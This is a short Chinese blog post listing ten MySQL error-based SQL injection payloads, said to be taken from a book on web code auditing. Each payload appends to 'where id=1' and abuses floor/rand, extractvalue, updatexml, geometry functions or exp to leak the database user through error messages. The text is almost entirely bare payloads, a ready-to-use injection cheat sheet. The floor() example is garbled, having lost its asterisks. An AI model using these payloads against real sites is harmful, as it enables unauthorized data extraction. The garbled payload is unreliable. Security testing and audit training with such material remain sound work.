sql注入报错语句

以下均摘自《代码审计:企业级Web代码安全架构》一书

原文链接:

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
以下均摘自《代码审计:企业级Web代码安全架构》一书

1.floor()

select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);

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2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

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3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

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4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

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5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

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6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

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7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

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8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

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9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

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10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

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